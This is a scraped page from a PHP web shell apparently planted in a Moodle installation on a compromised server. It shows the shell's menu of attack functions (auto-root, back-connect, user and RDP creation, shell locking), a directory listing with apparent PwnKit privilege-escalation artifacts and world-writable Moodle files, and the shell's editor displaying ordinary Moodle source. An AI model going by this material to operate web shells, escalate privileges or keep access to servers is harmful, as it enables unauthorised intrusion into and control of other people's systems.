Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
adodb
[ DIR ]
drwxrwxrwx
ajax
[ DIR ]
drwxrwxrwx
alfresco
[ DIR ]
drwxrwxrwx
behat
[ DIR ]
drwxrwxrwx
bennu
[ DIR ]
drwxrwxrwx
db
[ DIR ]
drwxrwxrwx
ddl
[ DIR ]
drwxrwxrwx
dml
[ DIR ]
drwxrwxrwx
dragmath
[ DIR ]
drwxrwxrwx
dtl
[ DIR ]
drwxrwxrwx
editor
[ DIR ]
drwxrwxrwx
evalmath
[ DIR ]
drwxrwxrwx
external
[ DIR ]
drwxrwxrwx
filebrowser
[ DIR ]
drwxrwxrwx
filestorage
[ DIR ]
drwxrwxrwx
flowplayer
[ DIR ]
drwxrwxrwx
form
[ DIR ]
drwxrwxrwx
google
[ DIR ]
drwxrwxrwx
grade
[ DIR ]
drwxrwxrwx
htmlpurifier
[ DIR ]
drwxrwxrwx
jabber
[ DIR ]
drwxrwxrwx
jquery
[ DIR ]
drwxrwxrwx
minify
[ DIR ]
drwxrwxrwx
password_compat
[ DIR ]
drwxrwxrwx
pear
[ DIR ]
drwxrwxrwx
phpexcel
[ DIR ]
drwxrwxrwx
phpmailer
[ DIR ]
drwxrwxrwx
phpunit
[ DIR ]
drwxrwxrwx
portfolio
[ DIR ]
drwxrwxrwx
simplepie
[ DIR ]
drwxrwxrwx
tcpdf
[ DIR ]
drwxrwxrwx
testing
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
typo3
[ DIR ]
drwxrwxrwx
xhprof
[ DIR ]
drwxrwxrwx
xmldb
[ DIR ]
drwxrwxrwx
yui
[ DIR ]
drwxrwxrwx
yuilib
[ DIR ]
drwxrwxrwx
zend
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
accesslib.php
265.56
KB
-rwxrwxrwx
adminlib.php
294.68
KB
-rwxrwxrwx
authlib.php
19.24
KB
-rwxrwxrwx
badgeslib.php
44.87
KB
-rwxrwxrwx
blocklib.php
81.93
KB
-rwxrwxrwx
boxlib.php
22
KB
-rwxrwxrwx
cacert.pem
245.45
KB
-rwxrwxrwx
cacert.txt
811
B
-rwxrwxrwx
clilib.php
5.24
KB
-rwxrwxrwx
completionlib.php
46.64
KB
-rwxrwxrwx
componentlib.class.php
28.41
KB
-rwxrwxrwx
conditionlib.php
62.76
KB
-rwxrwxrwx
configonlylib.php
5.92
KB
-rwxrwxrwx
cookies.js
2.37
KB
-rwxrwxrwx
coursecatlib.php
91.78
KB
-rwxrwxrwx
cronlib.php
29.18
KB
-rwxrwxrwx
csslib.php
154.44
KB
-rwxrwxrwx
csvlib.class.php
16.92
KB
-rwxrwxrwx
customcheckslib.php
2.16
KB
-rwxrwxrwx
datalib.php
67.12
KB
-rwxrwxrwx
ddllib.php
4.7
KB
-rwxrwxrwx
default.ttf
502.23
KB
-rwxrwxrwx
deprecatedlib.php
165.21
KB
-rwxrwxrwx
dmllib.php
12.08
KB
-rwxrwxrwx
dtllib.php
2.58
KB
-rwxrwxrwx
editorlib.php
6.98
KB
-rwxrwxrwx
emptyfile.php
809
B
-rwxrwxrwx
enrollib.php
77.98
KB
-rwxrwxrwx
environmentlib.php
48.76
KB
-rwxrwxrwx
eventslib.php
22.33
KB
-rwxrwxrwx
excellib.class.php
29.17
KB
-rwxrwxrwx
externallib.php
29.41
KB
-rwxrwxrwx
filelib.php
175.17
KB
-rwxrwxrwx
filterlib.php
51.99
KB
-rwxrwxrwx
flickrlib.php
51
KB
-rwxrwxrwx
formslib.php
117.1
KB
-rwxrwxrwx
gdlib.php
11.97
KB
-rwxrwxrwx
googleapi.php
16.23
KB
-rwxrwxrwx
gradelib.php
52.35
KB
-rwxrwxrwx
graphlib.php
82.19
KB
-rwxrwxrwx
grouplib.php
30.42
KB
-rwxrwxrwx
htaccess
1.94
KB
-rwxrwxrwx
html2text.php
24.97
KB
-rwxrwxrwx
html2text_readme.txt
717
B
-rwxrwxrwx
index.html
1
B
-rwxrwxrwx
installlib.php
17.4
KB
-rwxrwxrwx
javascript-static.js
69.46
KB
-rwxrwxrwx
javascript.php
3.45
KB
-rwxrwxrwx
jslib.php
6.06
KB
-rwxrwxrwx
ldaplib.php
13.67
KB
-rwxrwxrwx
lexer.php
15.06
KB
-rwxrwxrwx
licenselib.php
7.24
KB
-rwxrwxrwx
listlib.php
22.2
KB
-rwxrwxrwx
markdown.php
81.45
KB
-rwxrwxrwx
markdown_license.txt
1.6
KB
-rwxrwxrwx
mathslib.php
4.27
KB
-rwxrwxrwx
medialib.php
40.88
KB
-rwxrwxrwx
messagelib.php
25.74
KB
-rwxrwxrwx
modinfolib.php
65.02
KB
-rwxrwxrwx
moodlelib.php
400.74
KB
-rwxrwxrwx
navigationlib.php
199.79
KB
-rwxrwxrwx
oauthlib.php
20.39
KB
-rwxrwxrwx
odslib.class.php
57.85
KB
-rwxrwxrwx
olson.php
23.57
KB
-rwxrwxrwx
outputactions.php
6.36
KB
-rwxrwxrwx
outputcomponents.php
97.42
KB
-rwxrwxrwx
outputfactories.php
12.01
KB
-rwxrwxrwx
outputlib.php
62.41
KB
-rwxrwxrwx
outputrenderers.php
138.77
KB
-rwxrwxrwx
outputrequirementslib.php
70.53
KB
-rwxrwxrwx
pagelib.php
68.45
KB
-rwxrwxrwx
pdflib.php
6.21
KB
-rwxrwxrwx
plagiarismlib.php
6.8
KB
-rwxrwxrwx
pluginlib.php
133.41
KB
-rwxrwxrwx
portfoliolib.php
53.26
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
questionlib.php
70.14
KB
-rwxrwxrwx
recaptchalib.php
11.84
KB
-rwxrwxrwx
resourcelib.php
8.9
KB
-rwxrwxrwx
rsslib.php
18.15
KB
-rwxrwxrwx
searchlib.php
19.91
KB
-rwxrwxrwx
sessionlib.php
39.46
KB
-rwxrwxrwx
setup.php
35.07
KB
-rwxrwxrwx
setuplib.php
59.55
KB
-rwxrwxrwx
soaplib.php
5.23
KB
-rwxrwxrwx
statslib.php
63.04
KB
-rwxrwxrwx
tablelib.php
58.04
KB
-rwxrwxrwx
textlib.class.php
34.87
KB
-rwxrwxrwx
thirdpartylibs.xml
8.36
KB
-rwxrwxrwx
timezone.txt
152.3
KB
-rwxrwxrwx
upgrade.txt
9.13
KB
-rwxrwxrwx
upgradelib.php
77.35
KB
-rwxrwxrwx
uploadlib.php
31.5
KB
-rwxrwxrwx
validateurlsyntax.php
22.73
KB
-rwxrwxrwx
webdavlib.php
67.83
KB
-rwxrwxrwx
weblib.php
113.11
KB
-rwxrwxrwx
wiki_to_markdown.php
13.14
KB
-rwxrwxrwx
womenslib.php
1021
B
-rwxrwxrwx
wordlist.txt
179
B
-rwxrwxrwx
xhtml.xsl
223
B
-rwxrwxrwx
xmlize.php
6.63
KB
-rwxrwxrwx
xsendfilelib.php
2.78
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : outputfactories.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Interface and classes for creating appropriate renderers for various parts of Moodle. * * Please see http://docs.moodle.org/en/Developement:How_Moodle_outputs_HTML * for an overview. * * @copyright 2009 Tim Hunt * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @package core * @category output */ defined('MOODLE_INTERNAL') || die(); /** General rendering target, usually normal browser page */ define('RENDERER_TARGET_GENERAL', 'general'); /** Plain text rendering for CLI scripts and cron */ define('RENDERER_TARGET_CLI', 'cli'); /** Plain text rendering for Ajax scripts*/ define('RENDERER_TARGET_AJAX', 'ajax'); /** Plain text rendering intended for sending via email */ define('RENDERER_TARGET_TEXTEMAIL', 'textemail'); /** Rich text html rendering intended for sending via email */ define('RENDERER_TARGET_HTMLEMAIL', 'htmlemail'); // note: maybe we could define portfolio export target too /** * A renderer factory is just responsible for creating an appropriate renderer * for any given part of Moodle. * * Which renderer factory to use is chose by the current theme, and an instance * if created automatically when the theme is set up. * * A renderer factory must also have a constructor that takes a theme_config object. * (See {@link renderer_factory_base::__construct} for an example.) * * @copyright 2009 Tim Hunt * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @since Moodle 2.0 * @package core * @category output */ interface renderer_factory { /** * Return the renderer for a particular part of Moodle. * * The renderer interfaces are defined by classes called {plugin}_renderer * where {plugin} is the name of the component. The renderers for core Moodle are * defined in lib/renderer.php. For plugins, they will be defined in a file * called renderer.php inside the plugin. * * Renderers will normally want to subclass the renderer_base class. * (However, if you really know what you are doing, you don't have to do that.) * * There is no separate interface definition for renderers. The default * {plugin}_renderer implementation also serves to define the API for * other implementations of the interface, whether or not they subclass it. * * A particular plugin can define multiple renderers if it wishes, using the * $subtype parameter. For example workshop_renderer, * workshop_allocation_manual_renderer etc. * * @param moodle_page $page the page the renderer is outputting content for. * @param string $component name such as 'core', 'mod_forum' or 'qtype_multichoice'. * @param string $subtype optional subtype such as 'news' resulting to 'mod_forum_news' * @param string $target one of rendering target constants * @return renderer_base an object implementing the requested renderer interface. */ public function get_renderer(moodle_page $page, $component, $subtype=null, $target=null); } /** * This is a base class to help you implement the renderer_factory interface. * * It keeps a cache of renderers that have been constructed, so you only need * to construct each one once in you subclass. * * It also has a method to get the name of, and include the renderer.php with * the definition of, the standard renderer class for a given module. * * @copyright 2009 Tim Hunt * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @since Moodle 2.0 * @package core * @category output */ abstract class renderer_factory_base implements renderer_factory { /** * @var theme_config The theme we belong to. */ protected $theme; /** * Constructor. * * @param theme_config $theme the theme we belong to. */ public function __construct(theme_config $theme) { $this->theme = $theme; } /** * Returns suffix of renderer class expected for given target. * * @param string $target one of the renderer target constants, target is guessed if null used * @return array two element array, first element is target, second the target suffix string */ protected function get_target_suffix($target) { if (empty($target)) { // automatically guessed defaults if (CLI_SCRIPT) { $target = RENDERER_TARGET_CLI; } else if (AJAX_SCRIPT) { $target = RENDERER_TARGET_AJAX; } } switch ($target) { case RENDERER_TARGET_CLI: $suffix = '_cli'; break; case RENDERER_TARGET_AJAX: $suffix = '_ajax'; break; case RENDERER_TARGET_TEXTEMAIL: $suffix = '_textemail'; break; case RENDERER_TARGET_HTMLEMAIL: $suffix = '_htmlemail'; break; default: $target = RENDERER_TARGET_GENERAL; $suffix = ''; } return array($target, $suffix); } /** * For a given module name, return the name of the standard renderer class * that defines the renderer interface for that module. * * Also, if it exists, include the renderer.php file for that module, so * the class definition of the default renderer has been loaded. * * @param string $component name such as 'core', 'mod_forum' or 'qtype_multichoice'. * @param string $subtype optional subtype such as 'news' resulting to 'mod_forum_news' * @return string the name of the standard renderer class for that module. */ protected function standard_renderer_classname($component, $subtype = null) { global $CFG; // needed in included files // standardize component name ala frankenstyle list($plugin, $type) = normalize_component($component); if ($type === null) { $component = $plugin; } else { $component = $plugin.'_'.$type; } if ($component !== 'core') { // renderers are stored in renderer.php files if (!$compdirectory = get_component_directory($component)) { throw new coding_exception('Invalid component specified in renderer request'); } $rendererfile = $compdirectory . '/renderer.php'; if (file_exists($rendererfile)) { include_once($rendererfile); } } else if (!empty($subtype)) { $coresubsystems = get_core_subsystems(); if (!isset($coresubsystems[$subtype])) { throw new coding_exception('Invalid core subtype "' . $subtype . '" in renderer request'); } $rendererfile = $CFG->dirroot . '/' . $coresubsystems[$subtype] . '/renderer.php'; if (file_exists($rendererfile)) { include_once($rendererfile); } } if (empty($subtype)) { $class = $component . '_renderer'; } else { $class = $component . '_' . $subtype . '_renderer'; } return $class; } } /** * This is the default renderer factory for Moodle. * * It simply returns an instance of the appropriate standard renderer class. * * @copyright 2009 Tim Hunt * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @since Moodle 2.0 * @package core * @category output */ class standard_renderer_factory extends renderer_factory_base { /** * Implement the subclass method * * @param moodle_page $page the page the renderer is outputting content for. * @param string $component name such as 'core', 'mod_forum' or 'qtype_multichoice'. * @param string $subtype optional subtype such as 'news' resulting to 'mod_forum_news' * @param string $target one of rendering target constants * @return renderer_base an object implementing the requested renderer interface. */ public function get_renderer(moodle_page $page, $component, $subtype = null, $target = null) { $classname = $this->standard_renderer_classname($component, $subtype); if (!class_exists($classname)) { throw new coding_exception('Request for an unknown renderer class ' . $classname); } list($target, $suffix) = $this->get_target_suffix($target); if (class_exists($classname . $suffix)) { // use the specialised renderer for given target, default renderer might also decide // to implement support for more targets $classname = $classname . $suffix; } return new $classname($page, $target); } } /** * This is renderer factory allows themes to override the standard renderers using php code. * * It will load any code from theme/mytheme/renderers.php and * theme/parenttheme/renderers.php, if then exist. Then whenever you ask for * a renderer for 'component', it will create a mytheme_component_renderer or a * parenttheme_component_renderer, instead of a component_renderer, * if either of those classes exist. * * @copyright 2009 Tim Hunt * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @since Moodle 2.0 * @package core * @category output */ class theme_overridden_renderer_factory extends renderer_factory_base { /** * @var array An array of renderer prefixes */ protected $prefixes = array(); /** * Constructor. * @param theme_config $theme the theme we are rendering for. */ public function __construct(theme_config $theme) { parent::__construct($theme); // Initialise $this->prefixes. $this->prefixes = $theme->renderer_prefixes(); } /** * Implement the subclass method * * @param moodle_page $page the page the renderer is outputting content for. * @param string $component name such as 'core', 'mod_forum' or 'qtype_multichoice'. * @param string $subtype optional subtype such as 'news' resulting to 'mod_forum_news' * @param string $target one of rendering target constants * @return renderer_base an object implementing the requested renderer interface. */ public function get_renderer(moodle_page $page, $component, $subtype = null, $target = null) { $classname = $this->standard_renderer_classname($component, $subtype); if (!class_exists($classname)) { // standard renderer must always exist throw new coding_exception('Request for an unknown renderer class ' . $classname); } list($target, $suffix) = $this->get_target_suffix($target); // theme lib.php and renderers.php files are loaded automatically // when loading the theme configs // first try the renderers with correct suffix foreach ($this->prefixes as $prefix) { if (class_exists($prefix . '_' . $classname . $suffix)) { $classname = $prefix . '_' . $classname . $suffix; return new $classname($page, $target); } } if (class_exists($classname . $suffix)) { // use the specialised renderer for given target, default renderer might also decide // to implement support for more targets $classname = $classname . $suffix; return new $classname($page, $target); } // then try general renderer foreach ($this->prefixes as $prefix) { if (class_exists($prefix . '_' . $classname)) { $classname = $prefix . '_' . $classname; return new $classname($page, $target); } } return new $classname($page, $target); } }
Close